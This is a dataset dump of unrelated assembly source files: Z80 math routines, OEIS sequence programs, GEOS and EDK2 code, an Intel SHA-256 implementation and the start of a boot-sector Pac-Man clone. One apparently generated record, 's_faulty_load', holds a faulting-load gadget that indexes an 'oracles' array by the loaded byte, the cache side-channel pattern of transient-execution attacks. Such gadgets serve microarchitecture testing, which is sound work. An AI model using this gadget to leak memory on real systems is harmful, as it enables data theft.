text
stringlengths
1
1.05M
INCLUDE "config_private.inc" SECTION code_clib SECTION code_math PUBLIC l_z80_zxn_mulu_32_16x16 l_z80_zxn_mulu_32_16x16: ; multiplication of two 16-bit numbers into a 32-bit product ; ; enter : de = 16-bit multiplicand = y ; hl = 16-bit multiplicand = x ; ; exit : dehl = 32-bit product ; carry reset ; ; uses : af, bc, de, hl ld b,l ; x0 ld c,e ; y0 ld e,l ; x0 ld l,d push hl ; x1 y1 ld l,c ; y0 ; bc = x0 y0 ; de = y1 x0 ; hl = x1 y0 ; stack = x1 y1 mul de ; y1*x0 ex de,hl mul de ; x1*y0 xor a ; zero A add hl,de ; sum cross products p2 p1 adc a,a ; capture carry p3 ld e,c ; x0 ld d,b ; y0 mul de ; y0*x0 ld b,a ; carry from cross products ld c,h ; LSB of MSW from cross products ld a,d add a,l ld h,a ld l,e ; LSW in HL p1 p0 pop de mul de ; x1*y1 ex de,hl adc hl,bc ex de,hl ; de = final MSW ret
; A019274: Number of recursive calls needed to compute the n-th Fibonacci number F(n), starting with F(1) = F(2) = 1. ; Submitted by Jon Maiga ; 0,0,2,4,8,14,24,40,66,108,176,286,464,752,1218,1972,3192,5166,8360,13528,21890,35420,57312,92734,150048,242784,392834,635620,1028456,1664078,2692536,4356616,7049154,11405772,18454928,29860702,48315632,78176336,126491970,204668308,331160280,535828590,866988872,1402817464,2269806338,3672623804,5942430144,9615053950,15557484096,25172538048,40730022146,65902560196,106632582344,172535142542,279167724888,451702867432,730870592322,1182573459756,1913444052080,3096017511838,5009461563920,8105479075760 mov $3,1 lpb $0 sub $0,1 mov $2,$3 add $3,$1 mov $1,$2 lpe mov $0,$3 sub $0,1 mul $0,2
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x19c1c, %rsi lea addresses_D_ht+0x1059c, %rdi nop nop nop nop xor %rax, %rax mov $59, %rcx rep movsl nop nop nop nop nop sub $4002, %rsi lea addresses_WC_ht+0xe39c, %r8 clflush (%r8) nop nop nop and %rsi, %rsi movups (%r8), %xmm3 vpextrq $0, %xmm3, %r9 cmp %rdi, %rdi lea addresses_UC_ht+0x16b14, %r9 nop nop nop nop nop cmp %r14, %r14 movb $0x61, (%r9) sub %r14, %r14 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r14 ret .global s_faulty_load s_faulty_load: push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WT+0xa4d6, %r8 nop nop nop dec %rsi mov $0x5152535455565758, %rdx movq %rdx, %xmm1 movups %xmm1, (%r8) nop nop nop xor $10834, %rcx // REPMOV lea addresses_WC+0xdd9c, %rsi mov $0x3d27540000000452, %rdi nop nop nop sub $20728, %r9 mov $91, %rcx rep movsw nop nop sub $49083, %rdi // Faulty Load lea addresses_US+0xd59c, %rbp nop dec %rsi movb (%rbp), %cl lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_NC', 'congruent': 1, 'same': False}, 'OP': 'REPM'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'00': 88} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: prefTrigger.asm AUTHOR: Chris Boyke ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/14/92 Initial version. DESCRIPTION: $Id: prefTrigger.asm,v 1.1 97/04/04 17:50:40 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefTriggerSendAction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: PASS: *ds:si = PrefTriggerClass object ds:di = PrefTriggerClass instance data es = dgroup RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/14/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefTriggerSendAction method dynamic PrefTriggerClass, MSG_GEN_TRIGGER_SEND_ACTION .enter mov di, offset PrefTriggerClass call ObjCallSuperNoLock mov ax, length prefTriggerVarDataHandlers segmov es, cs mov di, offset prefTriggerVarDataHandlers call ObjVarScanData .leave ret PrefTriggerSendAction endm prefTriggerVarDataHandlers VarDataHandler \ <ATTR_PREF_TRIGGER_ACTION, PrefTriggerHandleExtraAction> COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefTriggerHandleExtraAction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: send out the message contained in the PrefTriggerAction data CALLED BY: PrefTriggerSendAction via ObjVarScanData PASS: ds:bx - PrefTriggerAction data RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/14/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefTriggerHandleExtraAction proc far .enter mov ax, ds:[bx].PTA_message mov si, ds:[bx].PTA_dest.offset mov bx, ds:[bx].PTA_dest.handle clr di call ObjMessage .leave ret PrefTriggerHandleExtraAction endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefTriggerMetaKbdChar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Handle carriage return by activating self PASS: *ds:si - PrefTriggerClass object ds:di - PrefTriggerClass instance data es - segment of PrefTriggerClass RETURN: nothing DESTROYED: ax, cx, dx, bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 3/ 2/95 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefTriggerMetaKbdChar method dynamic PrefTriggerClass, MSG_META_KBD_CHAR SBCS < cmp cx, (CS_CONTROL shl 8) or VC_CTRL_M > DBCS < cmp cx, C_CR > jne callSuper ; ; Test CharFlags to decide whether to activate the ; application or not. ; test dl, mask CF_FIRST_PRESS jz callSuper mov ax, MSG_GEN_ACTIVATE GOTO ObjCallInstanceNoLock callSuper: mov di, offset PrefTriggerClass GOTO ObjCallSuperNoLock PrefTriggerMetaKbdChar endm
; int wa_stack_push_callee(wa_stack_t *s, void *item) SECTION code_adt_wa_stack PUBLIC _wa_stack_push_callee EXTERN _w_array_append_callee defc _wa_stack_push_callee = _w_array_append_callee INCLUDE "adt/wa_stack/z80/asm_wa_stack_push.asm"
; A088499: Doubly (3)-perfect numbers. ; 27,33,45,57,69,81,105,117,141,177,189,225,249,261,285,321,357,369,405,429,441,477,501,537,585,609,621,645,657,681,765,789,825,837,897,909,945,981,1005,1041,1077,1089,1149,1161,1185,1197,1269,1341,1365,1377,1401,1437,1449,1509,1545,1581,1617,1629,1665,1689,1701,1761,1845,1869,1881,1905,1989,2025,2085,2097,2121,2157,2205,2241,2277,2301,2337,2385,2409,2457,2517,2529,2589,2601,2637,2661,2697,2745,2769,2781,2805,2877,2925,2949,2997,3021,3057,3129,3141,3249 seq $0,40 ; The prime numbers. mov $1,$0 lpb $1 sub $0,2 mod $1,8 lpe sub $0,2 mul $0,6 add $0,27
; A161150: a(n) = (largest odd divisor of n)*(largest power of 2 dividing (n+1)). ; Submitted by Simon Strandgaard ; 2,1,12,1,10,3,56,1,18,5,44,3,26,7,240,1,34,9,76,5,42,11,184,3,50,13,108,7,58,15,992,1,66,17,140,9,74,19,312,5,82,21,172,11,90,23,752,3,98,25,204,13,106,27,440,7,114,29,236,15,122,31,4032,1,130,33,268,17,138 mov $1,1 add $1,$0 add $0,1 seq $0,65176 ; Site swap sequence associated with the permutation A065174 of Z. mov $2,$0 mul $0,91 gcd $2,$1 mul $1,$0 pow $2,2 div $1,$2 mov $0,$1 div $0,91
bits 64 section .data lotsa: times 9999 db "a" .len: equ $-lotsa section .text global _start _start: mov rax,1 ; sys_write mov rdi,1 ; stdout mov rsi,lotsa mov rdx,lotsa.len syscall mov rax,60 ; sys_exit mov rdi,0 ; exit code syscall
;; @file ; Switch the stack from temporary memory to permenent memory. ; ; Copyright (c) 2008 - 2016, Intel Corporation. All rights reserved.<BR> ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED ; ;; .586p .model flat,C .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; SecSwitchStack ( ; UINT32 TemporaryMemoryBase, ; UINT32 PermenentMemoryBase ; ); ;------------------------------------------------------------------------------ SecSwitchStack PROC ; ; Save three register: eax, ebx, ecx ; push eax push ebx push ecx push edx ; ; !!CAUTION!! this function address's is pushed into stack after ; migration of whole temporary memory, so need save it to permenent ; memory at first! ; mov ebx, [esp + 20] ; Save the first parameter mov ecx, [esp + 24] ; Save the second parameter ; ; Save this function's return address into permenent memory at first. ; Then, Fixup the esp point to permenent memory ; mov eax, esp sub eax, ebx add eax, ecx mov edx, dword ptr [esp] ; copy pushed register's value to permenent memory mov dword ptr [eax], edx mov edx, dword ptr [esp + 4] mov dword ptr [eax + 4], edx mov edx, dword ptr [esp + 8] mov dword ptr [eax + 8], edx mov edx, dword ptr [esp + 12] mov dword ptr [eax + 12], edx mov edx, dword ptr [esp + 16] ; Update this function's return address into permenent memory mov dword ptr [eax + 16], edx mov esp, eax ; From now, esp is pointed to permenent memory ; ; Fixup the ebp point to permenent memory ; mov eax, ebp sub eax, ebx add eax, ecx mov ebp, eax ; From now, ebp is pointed to permenent memory pop edx pop ecx pop ebx pop eax ret SecSwitchStack ENDP END
; A098098: a(n) = sigma(6*n+5)/6. ; 1,2,3,4,5,8,7,8,9,10,14,12,16,14,15,20,17,18,19,24,26,22,23,28,25,32,32,28,29,30,38,32,33,40,40,44,42,38,39,40,57,42,43,44,45,62,47,56,49,56,62,52,53,60,64,68,64,58,59,60,74,72,70,64,65,80,67,76,80,70,93,72,80,74,75,112,77,78,88,80,98,82,96,84,85,104,87,96,98,114,110,100,93,94,95,124,112,98,99,100 mul $0,6 add $0,4 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). div $0,6
; A003622: The Wythoff compound sequence AA: [n*phi^2] - 1, where phi = (1+sqrt(5))/2. ; 1,4,6,9,12,14,17,19,22,25,27,30,33,35,38,40,43,46,48,51,53,56,59,61,64,67,69,72,74,77,80,82,85,88,90,93,95,98,101,103,106,108,111,114,116,119,122,124,127,129,132,135,137,140,142,145,148,150,153,156,158,161,163,166,169,171,174,177,179,182,184,187,190,192,195,197,200,203,205,208,211,213,216,218,221,224,226,229,232,234,237,239,242,245,247,250,252,255,258,260,263,266,268,271,273,276,279,281,284,286,289,292,294,297,300,302,305,307,310,313,315,318,321,323,326,328,331,334,336,339,341,344,347,349,352,355,357,360,362,365,368,370,373,375,378,381,383,386,389,391,394,396,399,402,404,407,410,412,415,417,420,423,425,428,430,433,436,438,441,444,446,449,451,454,457,459,462,465,467,470,472,475,478,480,483,485,488,491,493,496,499,501,504,506,509,512,514,517,519,522,525,527,530,533,535,538,540,543,546,548,551,554,556,559,561,564,567,569,572,574,577,580,582,585,588,590,593,595,598,601,603,606,609,611,614,616,619,622,624,627,629,632,635,637,640,643,645,648,650,653 mov $2,$0 mov $7,$0 mov $9,$0 add $9,1 lpb $9 mov $0,$7 sub $9,1 sub $0,$9 mov $3,$0 mov $5,2 lpb $5 mov $0,$3 sub $5,1 add $0,$5 mov $8,$0 pow $0,2 lpb $0 sub $0,$8 trn $0,1 add $8,2 lpe mov $6,$5 mul $8,16 lpb $6 mov $4,$8 sub $6,1 lpe lpe lpb $3 mov $3,0 sub $4,$8 lpe mov $8,$4 div $8,32 mul $8,3 add $8,3 add $1,$8 lpe sub $1,5 div $1,3 add $1,1 add $1,$2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2017 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "sha256_mb_mgr_datastruct.asm" %include "reg_sizes.asm" %ifdef HAVE_AS_KNOWS_SHANI [bits 64] default rel section .text ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %ifidn __OUTPUT_FORMAT__, elf64 ; Linux %define arg0 rdi %define arg1 rsi %else ; Windows %define arg0 rcx %define arg1 rdx %endif %define MSG xmm0 %define STATE0 xmm1 %define STATE1 xmm2 %define MSGTMP0 xmm3 %define MSGTMP1 xmm4 %define MSGTMP2 xmm5 %define MSGTMP3 xmm6 %define MSGTMP4 xmm7 %define SHUF_MASK xmm8 %define ABEF_SAVE xmm9 %define CDGH_SAVE xmm10 ; arg index is start from 0 while mgr_flush/submit is from 1 %define MGR arg0 %define NBLK arg1 %define NLANX4 r10 ; consistent with caller %define IDX r8 ; local variable -- consistent with caller %define DPTR r11 ; local variable -- input buffer pointer %define TMP r9 ; local variable -- assistant to address digest %define TBL rax ;%define TMP2 r8 ; local variable -- assistant to address digest align 32 ; void sha256_ni_x1(SHA256_MB_ARGS_Xn *args, uint32_t size_in_blocks); ; arg 0 : MGR : pointer to args (only 4 of the 16 lanes used) ; arg 1 : NBLK : size (in blocks) ;; assumed to be >= 1 ; invisibile arg 2 : IDX : hash on which lane ; invisibile arg 3 : NLANX4 : max lanes*4 for this arch (digest is placed by it) ; (sse/avx is 4, avx2 is 8, avx512 is 16) ; ; Clobbers registers: rax, r9~r11, xmm0-xmm10 ; mk_global sha256_ni_x1, function, internal sha256_ni_x1: endbranch shl NBLK, 6 ; transform blk amount into bytes jz backto_mgr ; detach idx from nlanx4 mov IDX, NLANX4 shr NLANX4, 8 and IDX, 0xff lea TMP, [MGR + 4*IDX] ;; Initialize digest ;; digests -> ABEF(state0), CDGH(state1) pinsrd STATE0, [TMP + 0*NLANX4], 3 ; A pinsrd STATE0, [TMP + 1*NLANX4], 2 ; B pinsrd STATE1, [TMP + 2*NLANX4], 3 ; C lea TMP, [TMP + 2*NLANX4] ; MGR + 4*IDX + 2*NLANX4 pinsrd STATE1, [TMP + 1*NLANX4], 2 ; D pinsrd STATE0, [TMP + 2*NLANX4], 1 ; E pinsrd STATE1, [TMP + 4*NLANX4], 1 ; G lea TMP, [TMP + 1*NLANX4] ; MGR + 4*IDX + 6*NLANX4 pinsrd STATE0, [TMP + 2*NLANX4], 0 ; F pinsrd STATE1, [TMP + 4*NLANX4], 0 ; H movdqa SHUF_MASK, [PSHUFFLE_SHANI_MASK] lea TBL, [TABLE] ;; Load input pointers mov DPTR, [MGR + _data_ptr + IDX*8] ;; nblk is used to indicate data end add NBLK, DPTR lloop: ; /* Save hash values for addition after rounds */ movdqa ABEF_SAVE, STATE0 movdqa CDGH_SAVE, STATE1 ; /* Rounds 0-3 */ movdqu MSG, [DPTR + 0*16] pshufb MSG, SHUF_MASK movdqa MSGTMP0, MSG paddd MSG, [TBL + 0*16] sha256rnds2 STATE1, STATE0, MSG pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG ; /* Rounds 4-7 */ movdqu MSG, [DPTR + 1*16] pshufb MSG, SHUF_MASK movdqa MSGTMP1, MSG paddd MSG, [TBL + 1*16] sha256rnds2 STATE1, STATE0, MSG pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP0, MSGTMP1 ; /* Rounds 8-11 */ movdqu MSG, [DPTR + 2*16] pshufb MSG, SHUF_MASK movdqa MSGTMP2, MSG paddd MSG, [TBL + 2*16] sha256rnds2 STATE1, STATE0, MSG pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP1, MSGTMP2 ; /* Rounds 12-15 */ movdqu MSG, [DPTR + 3*16] pshufb MSG, SHUF_MASK movdqa MSGTMP3, MSG paddd MSG, [TBL + 3*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP3 palignr MSGTMP4, MSGTMP2, 4 paddd MSGTMP0, MSGTMP4 sha256msg2 MSGTMP0, MSGTMP3 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP2, MSGTMP3 ; /* Rounds 16-19 */ movdqa MSG, MSGTMP0 paddd MSG, [TBL + 4*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP0 palignr MSGTMP4, MSGTMP3, 4 paddd MSGTMP1, MSGTMP4 sha256msg2 MSGTMP1, MSGTMP0 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP3, MSGTMP0 ; /* Rounds 20-23 */ movdqa MSG, MSGTMP1 paddd MSG, [TBL + 5*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP1 palignr MSGTMP4, MSGTMP0, 4 paddd MSGTMP2, MSGTMP4 sha256msg2 MSGTMP2, MSGTMP1 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP0, MSGTMP1 ; /* Rounds 24-27 */ movdqa MSG, MSGTMP2 paddd MSG, [TBL + 6*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP2 palignr MSGTMP4, MSGTMP1, 4 paddd MSGTMP3, MSGTMP4 sha256msg2 MSGTMP3, MSGTMP2 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP1, MSGTMP2 ; /* Rounds 28-31 */ movdqa MSG, MSGTMP3 paddd MSG, [TBL + 7*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP3 palignr MSGTMP4, MSGTMP2, 4 paddd MSGTMP0, MSGTMP4 sha256msg2 MSGTMP0, MSGTMP3 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP2, MSGTMP3 ; /* Rounds 32-35 */ movdqa MSG, MSGTMP0 paddd MSG, [TBL + 8*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP0 palignr MSGTMP4, MSGTMP3, 4 paddd MSGTMP1, MSGTMP4 sha256msg2 MSGTMP1, MSGTMP0 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP3, MSGTMP0 ; /* Rounds 36-39 */ movdqa MSG, MSGTMP1 paddd MSG, [TBL + 9*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP1 palignr MSGTMP4, MSGTMP0, 4 paddd MSGTMP2, MSGTMP4 sha256msg2 MSGTMP2, MSGTMP1 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP0, MSGTMP1 ; /* Rounds 40-43 */ movdqa MSG, MSGTMP2 paddd MSG, [TBL + 10*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP2 palignr MSGTMP4, MSGTMP1, 4 paddd MSGTMP3, MSGTMP4 sha256msg2 MSGTMP3, MSGTMP2 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP1, MSGTMP2 ; /* Rounds 44-47 */ movdqa MSG, MSGTMP3 paddd MSG, [TBL + 11*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP3 palignr MSGTMP4, MSGTMP2, 4 paddd MSGTMP0, MSGTMP4 sha256msg2 MSGTMP0, MSGTMP3 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP2, MSGTMP3 ; /* Rounds 48-51 */ movdqa MSG, MSGTMP0 paddd MSG, [TBL + 12*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP0 palignr MSGTMP4, MSGTMP3, 4 paddd MSGTMP1, MSGTMP4 sha256msg2 MSGTMP1, MSGTMP0 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG sha256msg1 MSGTMP3, MSGTMP0 ; /* Rounds 52-55 */ movdqa MSG, MSGTMP1 paddd MSG, [TBL + 13*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP1 palignr MSGTMP4, MSGTMP0, 4 paddd MSGTMP2, MSGTMP4 sha256msg2 MSGTMP2, MSGTMP1 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG ; /* Rounds 56-59 */ movdqa MSG, MSGTMP2 paddd MSG, [TBL + 14*16] sha256rnds2 STATE1, STATE0, MSG movdqa MSGTMP4, MSGTMP2 palignr MSGTMP4, MSGTMP1, 4 paddd MSGTMP3, MSGTMP4 sha256msg2 MSGTMP3, MSGTMP2 pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG ; /* Rounds 60-63 */ movdqa MSG, MSGTMP3 paddd MSG, [TBL + 15*16] sha256rnds2 STATE1, STATE0, MSG pshufd MSG, MSG, 0x0E sha256rnds2 STATE0, STATE1, MSG ; /* Add current hash values with previously saved */ paddd STATE0, ABEF_SAVE paddd STATE1, CDGH_SAVE ; Increment data pointer and loop if more to process add DPTR, 64 cmp DPTR, NBLK jne lloop ; write out digests lea TMP, [MGR + 4*IDX] ;; ABEF(state0), CDGH(state1) -> digests pextrd [TMP + 0*NLANX4], STATE0, 3 ; A pextrd [TMP + 1*NLANX4], STATE0, 2 ; B pextrd [TMP + 2*NLANX4], STATE1, 3 ; C lea TMP, [TMP + 2*NLANX4] ; MGR + 4*IDX + 2*NLANX4 pextrd [TMP + 1*NLANX4], STATE1, 2 ; D pextrd [TMP + 2*NLANX4], STATE0, 1 ; E pextrd [TMP + 4*NLANX4], STATE1, 1 ; G lea TMP, [TMP + 1*NLANX4] ; MGR + 4*IDX + 6*NLANX4 pextrd [TMP + 2*NLANX4], STATE0, 0 ; F pextrd [TMP + 4*NLANX4], STATE1, 0 ; H ; update input pointers mov [MGR + _data_ptr + IDX*8], DPTR backto_mgr: ;;;;;;;;;;;;;;;; ;; Postamble ret section .data align=16 PSHUFFLE_SHANI_MASK: dq 0x0405060700010203, 0x0c0d0e0f08090a0b TABLE: dd 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5 dd 0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5 dd 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3 dd 0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174 dd 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc dd 0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da dd 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7 dd 0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967 dd 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13 dd 0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85 dd 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3 dd 0xd192e819,0xd6990624,0xf40e3585,0x106aa070 dd 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5 dd 0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3 dd 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208 dd 0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2 %else %ifidn __OUTPUT_FORMAT__, win64 global no_sha256_ni_x1 no_sha256_ni_x1: %endif %endif ; HAVE_AS_KNOWS_SHANI
;= test: bootman game ;= bin: ; Boot-Man ; ; (c) 2019 Guido van den Heuvel ; ; Boot-Man is a Pac-Man clone that fits (snugly) inside the Master Boot Record of a USB stick. ; A USB stick with Boot-Man on it boots into the game (hence the name). Unfortunately, however, ; Boot-Man leaves no room in the MBR for a partition table, which means that a USB stick with Boot-Man ; in its MBR cannot be used to store data. In fact, Windows does not recognize a USB stick with ; Boot-Man in its MBR as a valid storage medium. ; ; Controls of the game: you control Boot-Man using the WASD keys. No other user input is necessary. Some other ; keys can also be used to control Boot-Man, this is a side effect of coding my own keyboard handler in ; just a few bytes. There simply wasn't room for checking the validity of every key press. ; ; The game starts automatically, and when Boot-Man dies, a new game starts automatically within a couple of seconds. ; ; ; I've had to take a couple of liberties with the original Pac-Man game to fit Boot-Man inside the 510 ; bytes available in the MBR: ; ; * The ghosts start in the four corners of the maze, they do not emerge from a central cage like in the original ; ; * There's just a single level. If you finish the level, the game keeps running with an empty maze. While ; it is rather difficult to finish the game (which is intentional, because of the single level), it is possible. ; ; * Boot-Man only has 1 life. If Boot-Man dies, another game is started automatically (by re-reading the MBR ; from disk, there simply isn't enough room to re-initialize the game in any other way) ; ; * Power pills function differently from the original. When Boot-Man eats a power pill, all ghosts become ; ethereal (represented in game by just their eyes being visible) and cease to chase Boot-Man. While ethereal, ; Boot-Man can walk through ghosts with no ill effects. While I would really like to include the "ghost hunting" ; from the original, which I consider to be an iconic part of the game, this simply isn't possible in the little ; space available. ; ; * There's no score, and no fruit to get bonus points from. ; ; * All ghosts, as well as Boot-Man itself, have the same, constant movement speed. In 